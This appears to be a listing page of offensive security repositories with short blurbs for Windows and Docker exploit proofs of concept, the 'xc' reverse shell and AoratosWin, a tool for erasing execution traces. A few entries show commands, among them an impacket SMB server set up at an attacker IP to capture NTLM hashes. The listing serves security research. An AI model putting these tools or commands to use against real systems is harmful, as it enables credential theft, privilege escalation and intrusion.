CVE-2025-24054-PoC

CVE-2025-24054 PoC A simple Proof of Concept for CVE-2025-24054 – Windows Library .library-ms NTLM Hash Disclosure Vulnerability. ⚠️ For Educational and Authorized Lab Use Only Description CVE-2025-24054 allows an attacker to force a Windows system to leak the victim's Net-NTLMv2 hash by using a...

CVE-2025-9074

CVE-2025-9074 – Full Docker Escape on Windows & macOS Docker Desktop 📌 Description Docker Desktop exposes the internal Docker Engine API at http://192.168.65.7:2375 to any running container — with no authentication and no access control. Because the engine itself can mount the host filesystem, a...

CrystalPotato

CrystalPotato Puerto en Crystal de GodPotato, una escalada de privilegios local desde cuentas con SeImpersonatePrivilege a SYSTEM. Funciona abusando del Resolver OXID de DCOM y de la suplantación de canalizaciones con nombre. Las APIs de Windows se resuelven dinámicamente y se invocan mediante...

CVE-2021-1675---PrintNightmare-LPE-PowerShell-

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | July 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare." Proof-of-concept exploits have been released Python, C++ for the remote code execution...

cve-2023-21768-compiled

cve-2023-21768-compiled-version Probado en windows22H2 22621.963. Código de:https://github.com/xforcered/WindowsLPEAFDCVE-2023-21768...

CVE-2014-4076

PoC de CVE-2014-4076 Esta prueba de concepto está copiada directamente de su versión original en Python y reescrita en C++. Compilación Este proyecto se compila con Visual Studio 2013 Update 4. Aviso Solo los usuarios que estén en el grupo de Administradores pueden abrir el dispositivo y realizar...

java-remote-class-loader

This tool allows you to send Java bytecode in the form of class files to your clients or potential targets to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written ...

xc

XC 类似于Netcat的反向Shell，适用于Linux和Windows。 功能 Windows root@kitploit: Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active forwards !rmfwd remov...

xc

XC Netcat like reverse shell for Linux & Windows. Features Windows root@kitploit: Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active...

cve-2019-5737

Linux: docker build -t cve:linux - Dockerfile docker run cve:linux strings /usr/bin/docker-runc | tail -n 2 Windows: Get-Content Dockerfile | docker build -t cve:windows docker run cve:windows findstr /usr/bin/docker-runc | tail -n 2...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

CVE-2025-21298

CVE-2025-21298 content This is a proof-of-concept for CVE-2025-21298 - Windows OLE Remote Code Execution Vulnerability CVSS 9.8. This is a memory corruption PoC , not an exploit. vulnerability The vulnerability is located in ole32.dll!UtOlePresStmToContentsStm. The purpose of the function is ti...

CVE-2017-0213

CVE-2017-0213: Windows COM Elevation of Privilege Vulnerability Description Author: Google Security Research CVE: 2017-0213 EDB-ID: 42020 References: Project-Zero Microsoft Exploit-Database Video: Youtube Affected Products Product| Version| Update| Build| Tested ---|---|---|---|--- Windows 10|...

CVE-2024-23774

CVE-2024-23774 - Unquoted Windows Service Path Vulnerability Information will follow in due course...

AoratosWin

AoratosWin AoratosWin is a tool that removes traces of executed applications on Windows OS which can easily be listed with tools such as ExecutedProgramList by Nirsoft. Feel free to decompile, reverse, redistribute, etc. Supported OS Tested On Windows 7 x86, x64 Windows 8 x86, x64 Windows 8.1 x86...

nuc-winring0-fix

Controlador Vulnerable WinRing0 de Intel NUC - Guía de Eliminación Permanente Windows Defender marca OpenHardwareMonitorLib.sys controlador WinRing0 como VulnerableDriver:WinNT/Winring0 debido a CVE-2020-14979. Este controlador se incluye con el servicio NUC Software Studio de Intel y se reinstal...

CVE-2021-34527

CVE-2021-34527 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | June 1, 2021 UPDATE June 2 2021 : Microsoft has released an advisory on CVE-2021-34527, correctly terming that specific identifier as the PrintNightmare vulnerability exploit. Previously, the community was assuming...

CyberResponders

CyberResponders: A Terminal Game CyberResponders is a terminal-based cybersecurity training game that enables players to respond to different cyber incident scenarios. Here, they have five chances to enter the correct command before the system becomes completely compromised, resulting in a game...

CVE-2022-30190

CVE-2022-30190 CVE-2022-30190 Microsoft サポート診断ツールの脆弱性に関するガイダンス MSRC / msrc 著 / 2022年5月30日 2022年5月30日月、Microsoft は、Windows の Microsoft サポート診断ツール MSDT の脆弱性に関する CVE-2022-30190 を公開しました。 Word などの呼び出し元アプリケーションが URL プロトコルを使用して MSDT...

CVE-2025-60719-AFD.SYS

!IMPORTANT Esta prueba de concepto tiene fines exclusivamente de demostración y aprendizaje. Úsala con precaución. CVE-2025-60719-AFD.SYS Los investigadores de Akamai han creado una nueva capacidad de IA para el análisis instantáneo de la causa raíz. La herramienta es un sistema multiagente...